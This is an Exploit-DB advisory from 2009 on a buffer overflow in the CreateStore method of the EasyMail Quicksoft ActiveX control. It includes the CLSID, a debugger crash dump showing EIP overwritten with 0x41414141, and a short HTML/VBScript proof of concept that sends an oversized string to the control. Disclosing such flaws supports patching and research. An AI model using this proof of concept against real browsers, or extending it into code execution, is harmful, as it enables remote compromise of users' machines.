EasyMail Quicksoft 6.0.2.0 - CreateStore ActiveX Code Execution (PoC)

EDB-ID:

9685


Platform:

Windows

Published:

2009-09-15

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Application:  EasyMail Quicksoft 6.0.2.0
            
Platforms:    Windows XP Professional French SP2

crash:	      IE 6.0.2900.2180
	      
	
Exploitation: remote Code Execution

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
             

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1) Introduction
2) Technical details and bug
3) The Code

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===============
1) Introduction
===============

Create, send, download, parse, print and store internet email messages in your classic windows application.  Designed for Visual Basic, ASP, C++, Delphi, ColdFusion, PowerBuilder, Access and other development environments.  COM or standard DLL interfaces.  This is the software that processes hundreds of millions of email messages on the Internet every day.

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============================
2) Technical details 
============================

Name:	emmailstore.dll
Ver.:	6.0.2.0
CLSID:	{18A76B9A-45C1-11D3-80DC-00C04F6B92D0}

ModLoad: 10000000 1002c000   C:\WINDOWS\system32\emmailstore.dll
(1670.59c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000002bd ebx=00000000 ecx=0003ea80 edx=00030608 esi=00038790 edi=00000193
eip=41414141 esp=0013eb44 ebp=0013eb60 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010206
41414141 ??              ???





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===========
3) The Code
===========

Proof of concept DoS code;

<HTML>
<object classid='clsid:18A76B9A-45C1-11D3-80DC-00C04F6B92D0' id='target' />
<script language='vbscript'>

argCount   = 2

arg1=String(402, "A")
arg2=1

target.CreateStore arg1 ,arg2 

</script>
<html>
~



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# milw0rm.com [2009-09-15]